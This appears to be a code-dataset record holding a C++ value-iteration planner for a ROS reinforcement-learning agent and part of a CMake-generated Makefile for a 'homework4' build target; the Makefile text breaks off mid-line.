"avg_line_length": 24.54520606994629, "blob_id": "a8a8e68488a6a5e54f38114fcbaca24be788fad0", "content_id": "f902bf198b0d76ef20704b13d0c52919cf204b98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 18648, "license_type": "no_license", "max_line_length": 143, "num_lines": 730, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/ValueIteration.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ValueIteration.cc\n Implements the ValueIteration class\n \\author Todd Hester\n*/\n\n#include \"ValueIteration.hh\"\n#include <algorithm>\n\n#include <sys/time.h>\n\n\nValueIteration::ValueIteration(int numactions, float gamma,\n int MAX_LOOPS, float MAX_TIME, int modelType,\n const std::vector<float> &fmax, \n const std::vector<float> &fmin, \n const std::vector<int> &n, Random newRng):\n numactions(numactions), gamma(gamma),\n MAX_LOOPS(MAX_LOOPS), MAX_TIME(MAX_TIME), modelType(modelType),\n statesPerDim(n)\n{\n rng = newRng;\n\n nstates = 0;\n nactions = 0;\n\n timingType = false; //true;\n\n model = NULL;\n planTime = getSeconds();\n\n // algorithm options\n MAX_STEPS = 100; //50; //60; //80; //0; //5; //10;\n\n PLANNERDEBUG = false;\n POLICYDEBUG = false;\n ACTDEBUG = false;\n MODELDEBUG = false;\n\n featmax = fmax;\n featmin = fmin;\n\n if (statesPerDim[0] > 0){\n cout << \"Planner VI using discretization of \" << statesPerDim[0] << endl;\n }\n\n\n}\n\nValueIteration::~ValueIteration() {\n for (std::map<state_t, state_info>::iterator i = statedata.begin();\n i != statedata.end(); i++){\n \n // get state's info\n //cout << \" planner got info\" << endl;\n state_info* info = &((*i).second);\n\n deleteInfo(info);\n }\n\n statedata.clear();\n \n}\n\nvoid ValueIteration::setModel(MDPModel* m){\n\n model = m;\n\n // initStates();\n\n}\n\n\n// canonicalize all the states so we already have them in our statespace\nvoid ValueIteration::initStates(){\n cout << \"init states\" << endl;\n std::vector<float> s(featmin.size());\n\n fillInState(s,0);\n cout << \"init states complete\" << endl;\n}\n\nvoid ValueIteration::fillInState(std::vector<float>s, int depth){\n\n // if depth == size, canonicalize and return\n if (depth == (int)featmin.size()){\n canonicalize(s);\n return;\n }\n\n // go through all features at depth\n for (float i = featmin[depth]; i < featmax[depth]+1; i++){\n s[depth] = i;\n fillInState(s, depth+1);\n }\n}\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\nvoid ValueIteration::initNewState(state_t s){\n if (PLANNERDEBUG) cout << \"initNewState(s = \" << s\n << \") size = \" << s->size() << endl;\n\n if (MODELDEBUG) cout << \"New State: \" << endl;\n\n // create state info and add to hash map\n state_info* info = &(statedata[s]);\n initStateInfo(info);\n\n // init these from model\n for (int i = 0; i < numactions; i++){\n model->getStateActionInfo(*s, i, &(info->modelInfo[i]));\n }\n\n\n if (PLANNERDEBUG) cout << \"done with initNewState()\" << endl;\n\n}\n\nbool ValueIteration::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n if (PLANNERDEBUG) cout << \"updateModelWithExperience(last = \" << &laststate\n << \", curr = \" << &currstate\n << \", lastact = \" << lastact\n << \", r = \" << reward\n << \")\" << endl;\n\n if (!timingType)\n planTime = getSeconds();\n\n // canonicalize these things\n state_t last = canonicalize(laststate);\n state_t curr = canonicalize(currstate);\n\n prevstate = laststate;\n prevact = lastact;\n\n // if not transition to terminal\n if (curr == NULL)\n return false;\n\n // get state info\n state_info* info = &(statedata[last]);\n\n // update the state visit count\n info->visits[lastact]++;\n\n // init model?\n if (model == NULL){\n cout << \"ERROR IN MODEL OR MODEL SIZE\" << endl;\n exit(-1);\n }\n\n experience e;\n e.s = laststate;\n e.next = currstate;\n e.act = lastact;\n e.reward = reward;\n e.terminal = term;\n bool modelChanged = model->updateWithExperience(e);\n\n if (PLANNERDEBUG) cout << \"VI Added exp: \" << modelChanged << endl;\n if (timingType)\n planTime = getSeconds();\n\n return modelChanged;\n\n}\n\n\nvoid ValueIteration::updateStateActionFromModel(const std::vector<float> &state, int a){\n if (PLANNERDEBUG) cout << \"updateStateActionFromModel()\" << endl;\n\n state_t s = canonicalize(state);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n // update state info\n // get state action info for each action\n model->getStateActionInfo(state, a, &(info->modelInfo[a]));\n\n info->fresh = false;\n\n}\n\n\nvoid ValueIteration::updateStatesFromModel(){\n if (PLANNERDEBUG) cout << \"updateStatesFromModel()\" << endl;\n\n // for each state\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n if (PLANNERDEBUG){\n cout << \"updateStatesFromModel i = \" << &(*i) << endl;\n cout << \"State is \";\n for (unsigned j = 0; j < (*i).size(); j++){\n cout << (*i)[j] << \", \";\n }\n cout << endl;\n }\n\n state_t s = canonicalize(*i);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n // update state info\n // get state action info for each action\n for (int j = 0; j < numactions; j++){\n model->getStateActionInfo(*s, j, &(info->modelInfo[j]));\n }\n\n //s2.clear();\n\n info->fresh = false;\n\n if (PLANNERDEBUG) cout << \"updateStatesFromModel i = \" << &i << \" complete\" << endl;\n\n }\n\n if (PLANNERDEBUG) cout << \"updateStatesFromModel \" << \" totally complete\" << endl;\n\n}\n\n\nint ValueIteration::getBestAction(const std::vector<float> &state){\n if (PLANNERDEBUG) cout << \"getBestAction(s = \" << &state\n << \")\" << endl;\n\n state_t s = canonicalize(state);\n\n // get state info\n state_info* info = &(statedata[s]);\n\n // Get Q values\n std::vector<float> &Q = info->Q;\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q.begin(), Q.end()); // Choose maximum\n\n int act = a - Q.begin();\n float val = *a;\n if (ACTDEBUG){\n cout << endl << \"chooseAction State \" << (*s)[0] << \",\" << (*s)[1]\n << \" act: \" << act << \" val: \" << val << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct\n << \" val: \" << Q[iAct]\n << \" visits: \" << info->visits[iAct]\n << \" modelsAgree: \" << info->modelInfo[iAct].known << endl;\n }\n }\n\n nactions++;\n\n // return index of action\n return act;\n}\n\n\n\n\n// use VI to compute new policy using model\nvoid ValueIteration::createPolicy(){\n if (PLANNERDEBUG || POLICYDEBUG) cout << endl << \"createPolicy()\" << endl;\n\n float maxError = 5000;\n int nloops = 0;\n\n calculateReachableStates();\n\n float MIN_ERROR = 0.0001;\n //float initTime = getSeconds();\n //cout << \"max time \" << MAX_TIME << \" max loops: \" << MAX_LOOPS << endl;\n int statesUpdated = 0;\n\n // until convergence (always at least MIN_LOOPS)\n while (maxError > MIN_ERROR){ // && nloops < MAX_LOOPS){\n\n //if ((getSeconds() - initTime) > MAX_TIME)\n // break;\n\n // if ((getSeconds() - planTime) > MAX_TIME)\n //break;\n\n if (POLICYDEBUG)\n cout << \"max error: \" << maxError << \" nloops: \" << nloops\n << endl;\n\n maxError = 0;\n nloops++;\n\n // for all states\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n // if ((getSeconds() - planTime) > MAX_TIME)\n //break;\n\n statesUpdated++;\n state_t s = canonicalize(*i);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n if (POLICYDEBUG){\n cout << endl << \" State: id: \" << info->id << \": \" ;\n for (unsigned si = 0; si < s->size(); si++){\n cout << (*s)[si] << \",\";\n }\n cout << \" Steps: \" << info->stepsAway << endl;\n\n }\n\n // skip states we can't reach\n if (info->stepsAway > 99999){\n if (POLICYDEBUG)\n cout << \"State not reachable, ignoring.\" << endl;\n continue;\n }\n\n // for each action\n for (int act = 0; act < numactions; act++){\n\n\n\n // get state action info for this action\n StateActionInfo *modelInfo = &(info->modelInfo[act]);\n\n if (POLICYDEBUG)\n cout << \" Action: \" << act\n << \" State visits: \" << info->visits[act]\n << \" reward: \" << modelInfo->reward \n\t << \" term: \" << modelInfo->termProb << endl;\n\n // Q = R + discounted val of next state\n // this is the R part :)\n float newQ = modelInfo->reward;\n\n float probSum = modelInfo->termProb;\n\n // for all next states, add discounted value appropriately\n // loop through next state's that are in this state-actions list\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n\n if (POLICYDEBUG){\n cout << \" Next state was: \";\n for (unsigned oi = 0; oi < nextstate.size(); oi++){\n cout << nextstate[oi] << \",\";\n }\n cout << endl;\n }\n\n // get transition probability\n float transitionProb = (1.0-modelInfo->termProb) *\n modelInfo->transitionProbs[nextstate];\n\n probSum += transitionProb;\n\n if (POLICYDEBUG)\n cout << \" prob: \" << transitionProb << endl;\n\n if (transitionProb < 0 || transitionProb > 1.0001){\n cout << \"Error with transitionProb: \" << transitionProb << endl;\n exit(-1);\n }\n\n // if there is some probability of this transition\n if (transitionProb > 0.0){\n\n float maxval = 0.0;\n\n // make sure its a real state\n bool realState = true;\n\n for (unsigned b = 0; b < nextstate.size(); b++){\n if (nextstate[b] < (featmin[b]-EPSILON)\n || nextstate[b] > (featmax[b]+EPSILON)){\n realState = false;\n if (POLICYDEBUG)\n cout << \" Next state is not valid (feature \"\n << b << \" out of range)\" << endl;\n break;\n }\n }\n\n state_t next;\n \n // update q values for any states within MAX_STEPS of visited states\n if (info->stepsAway >= MAX_STEPS || !realState){\n next = s;\n } else {\n next = canonicalize(nextstate);\n }\n \n state_info* nextinfo = &(statedata[next]);\n //nextinfo->fresh = false;\n \n int newSteps = info->stepsAway + 1;\n if (newSteps < nextinfo->stepsAway){\n if (POLICYDEBUG) {\n cout << \" Setting state to \"\n << newSteps << \" steps away.\" << endl;\n }\n nextinfo->stepsAway = newSteps;\n }\n \n // find the max value of this next state\n std::vector<float>::iterator maxAct =\n std::max_element(nextinfo->Q.begin(),\n nextinfo->Q.end());\n maxval = *maxAct;\n \n nextstate.clear();\n \n if (POLICYDEBUG) cout << \" Max value: \" << maxval << endl;\n\n // update q value with this value\n newQ += (gamma * transitionProb * maxval);\n\n } // transition probability > 0\n\n } // outcome loop\n\n\n if (probSum < 0.9999 || probSum > 1.0001){\n cout << \"Error: transition probabilities do not add to 1: Sum: \"\n << probSum << endl;\n exit(-1);\n }\n\n\n // set q value\n float tdError = fabs(info->Q[act] - newQ);\n if (POLICYDEBUG) cout << \" NewQ: \" << newQ\n << \" OldQ: \" << info->Q[act] << endl;\n info->Q[act] = newQ;\n\n // check max error\n if (tdError > maxError)\n maxError = tdError;\n\n if (POLICYDEBUG)\n cout << \" TD error: \" << tdError\n << \" Max error: \" << maxError << endl;\n\n } // action loop\n\n } // state loop\n\n } // while not converged loop\n\n if (false || nloops >= MAX_LOOPS){\n cout << nactions << \" Policy creation ended with maxError: \" << maxError\n << \" nloops: \" << nloops << \" time: \" << (getSeconds()-planTime)\n << \" states: \" << statesUpdated\n << endl;\n }\n\n // remove unreachable states\n removeUnreachableStates();\n\n if (POLICYDEBUG) cout << nactions\n << \" policy creation complete: maxError: \"\n << maxError << \" nloops: \" << nloops\n << endl;\n\n\n}\n\n\nvoid ValueIteration::planOnNewModel(){\n\n // update model info\n // can just update one for tabular model\n if (modelType == RMAX){\n updateStateActionFromModel(prevstate, prevact);\n }\n else {\n updateStatesFromModel();\n }\n\n // run value iteration\n createPolicy();\n\n}\n\n\n////////////////////////////\n// Helper Functions //\n////////////////////////////\n\nValueIteration::state_t ValueIteration::canonicalize(const std::vector<float> &s) {\n if (PLANNERDEBUG) cout << \"canonicalize(s = \" << s[0] << \", \"\n << s[1] << \")\" << endl;\n\n std::vector<float> s2;\n if (statesPerDim[0] > 0){\n s2 = discretizeState(s);\n } else {\n s2 = s;\n }\n\n if (PLANNERDEBUG) cout << \"discretized(\" << s2[0] << \", \" << s2[1] << \")\" << endl;\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s2);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n\n if (PLANNERDEBUG) cout << \" returns \" << retval\n << \" New: \" << result.second << endl;\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n initNewState(retval);\n if (PLANNERDEBUG) cout << \" New state initialized\" << endl;\n }\n\n return retval;\n}\n\n\n\n// init state info\nvoid ValueIteration::initStateInfo(state_info* info){\n if (PLANNERDEBUG) cout << \"initStateInfo()\";\n\n info->id = nstates++;\n if (PLANNERDEBUG) cout << \" id = \" << info->id << endl;\n\n info->fresh = true;\n info->stepsAway = 100000;\n\n // model data (transition, reward, known)\n info->modelInfo = new StateActionInfo[numactions];\n\n // model q values, visit counts\n info->visits.resize(numactions, 0);\n info->Q.resize(numactions, 0);\n\n for (int i = 0; i < numactions; i++){\n info->Q[i] = rng.uniform(0,0.01);\n }\n\n if (PLANNERDEBUG) cout << \"done with initStateInfo()\" << endl;\n\n}\n\n\nvoid ValueIteration::printStates(){\n\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n state_info* info = &(statedata[s]);\n\n cout << \"State \" << info->id << \": \";\n for (unsigned j = 0; j < s->size(); j++){\n cout << (*s)[j] << \", \";\n }\n cout << endl;\n\n for (int act = 0; act < numactions; act++){\n cout << \" visits[\" << act << \"] = \" << info->visits[act]\n << \" Q: \" << info->Q[act]\n << \" R: \" << info->modelInfo[act].reward << endl;\n }\n\n }\n}\n\n\n\n\nvoid ValueIteration::calculateReachableStates(){\n // for all states\n // set plausible flag to see if we need to calc q value for this state\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n info->stepsAway = 100000;\n\n //if (info->fresh){\n // info->stepsAway = 0;\n // continue;\n //}\n\n for (int j = 0; j < numactions; j++){\n if (info->visits[j] > 0){\n info->stepsAway = 0;\n break;\n }\n }\n }\n}\n\nvoid ValueIteration::removeUnreachableStates(){\n\n return;\n\n // for all states\n // set plausible flag to see if we need to calc q value for this state\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n // state is unreachable\n if (info->stepsAway > MAX_STEPS){\n\n if (POLICYDEBUG){\n cout << \"Removing unreachable state: \" << (*s)[0];\n for (unsigned i = 1; i < s->size(); i++){\n cout << \", \" << (*s)[i];\n }\n cout << endl;\n }\n\n // delete state\n deleteInfo(info);\n\n // remove from statespace\n statespace.erase(*s);\n\n // remove from statedata hashmap\n statedata.erase(s);\n\n }\n }\n}\n\n\n\n\n\n\nvoid ValueIteration::deleteInfo(state_info* info){\n\n delete [] info->modelInfo;\n\n}\n\n\ndouble ValueIteration::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\nvoid ValueIteration::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n int fsize = featmin.size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n state_info* info = &(statedata[s]);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n policyFile.write((char*)&(info->Q[0]), sizeof(float)*numactions);\n\n }\n\n policyFile.close();\n}\n\n\n// should do it such that an already discretized state stays the same\n// mainly the numerical value of each bin should be the average of that bin\nstd::vector<float> ValueIteration::discretizeState(const std::vector<float> &s){\n std::vector<float> ds(s.size());\n\n for (unsigned i = 0; i < s.size(); i++){\n \n // since i'm sometimes doing this for discrete domains\n // want to center bins on 0, not edge on 0\n //cout << \"feat \" << i << \" range: \" << featmax[i] << \" \" << featmin[i] << \" \" << (featmax[i]-featmin[i]) << \" n: \" << (float)statesPerDim;\n\n float factor = (featmax[i] - featmin[i]) / (float)statesPerDim[i];\n int bin = 0;\n if (s[i] > 0){\n bin = (int)((s[i]+factor/2) / factor);\n } else {\n bin = (int)((s[i]-factor/2) / factor);\n }\n\n ds[i] = factor*bin;\n //cout << \" factor: \" << factor << \" bin: \" << bin;\n //cout << \" Original: \" << s[i] << \" Discrete: \" << ds[i] << endl;\n }\n\n return ds;\n}\n" }, { "alpha_fraction": 0.7742573618888855, "alphanum_fraction": 0.7850959300994873, "avg_line_length": 45.371219635009766, "blob_id": "841a176ec0389077fc42c28677181d8895aaf558", "content_id": "e680d3b454b3f7d7da39932c62411eaa31057565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 44471, "license_type": "no_license", "max_line_length": 202, "num_lines": 959, "path": "/build/homework4/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/homework4/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nhomework4/CMakeFiles/homework4.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/homework4.dir/rule\n.PHONY : homework4/CMakeFiles/homework4.dir/rule\n\n# Convenience name for target.\nhomework4: homework4/CMakeFiles/homework4.dir/rule\n\n.PHONY : homework4\n\n# fast build rule for target.\nhomework4/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/homework4.dir/build.make homework4/CMakeFiles/homework4.dir/build\n.PHONY : homework4/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/rule\n.PHONY : homework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nvisualization_msgs_generate_messages_nodejs: homework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : visualization_msgs_generate_messages_nodejs\n\n# fast build rule for target.\nvisualization_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/build.make homework4/CMakeFiles/visualization_msgs_generate_messages_nodejs.dir/build\n.PHONY : visualization_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/rule\n.PHONY : homework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\nvisualization_msgs_generate_messages_lisp: homework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : visualization_msgs_generate_messages_lisp\n\n# fast build rule for target.\nvisualization_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/build.make homework4/CMakeFiles/visualization_msgs_generate_messages_lisp.dir/build\n.PHONY : visualization_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/rule\n.PHONY : homework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\nvisualization_msgs_generate_messages_eus: homework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/rule\n\n.PHONY : visualization_msgs_generate_messages_eus\n\n# fast build rule for target.\nvisualization_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/build.make homework4/CMakeFiles/visualization_msgs_generate_messages_eus.dir/build\n.PHONY : visualization_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/rule\n.PHONY : homework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\nvisualization_msgs_generate_messages_cpp: homework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : visualization_msgs_generate_messages_cpp\n\n# fast build rule for target.\nvisualization_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/build.make homework4/CMakeFiles/visualization_msgs_generate_messages_cpp.dir/build\n.PHONY : visualization_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n.PHONY : homework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_py: homework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_py\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/build.make homework4/CMakeFiles/geometry_msgs_generate_messages_py.dir/build\n.PHONY : geometry_msgs_generate_messages_py/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n.PHONY : homework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n\n# Convenience name for target.\ndynamic_reconfigure_generate_messages_py: homework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/rule\n\n.PHONY : dynamic_reconfigure_generate_messages_py\n\n# fast build rule for target.\ndynamic_reconfigure_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/build.make homework4/CMakeFiles/dynamic_reconfigure_generate_messages_py.dir/build\n.PHONY : dynamic_reconfigure_generate_messages_py/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/tf_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n.PHONY : homework4/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_nodejs: homework4/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n\n.PHONY : tf_generate_messages_nodejs\n\n# fast build rule for target.\ntf_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f homework4/CMakeFiles/tf_generate_messages_nodejs.dir/build.make homework4/CMakeFiles/tf_generate_messages_nodejs.dir/build\n.PHONY : tf_generate_messages_nodejs/fast\n\n# Convenience name for target.\nhomework4/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 homework4/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n.PHONY : homework4/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_nodejs: homework4/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_nodejs\n\n# fast build rule for target.\ntf2_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && 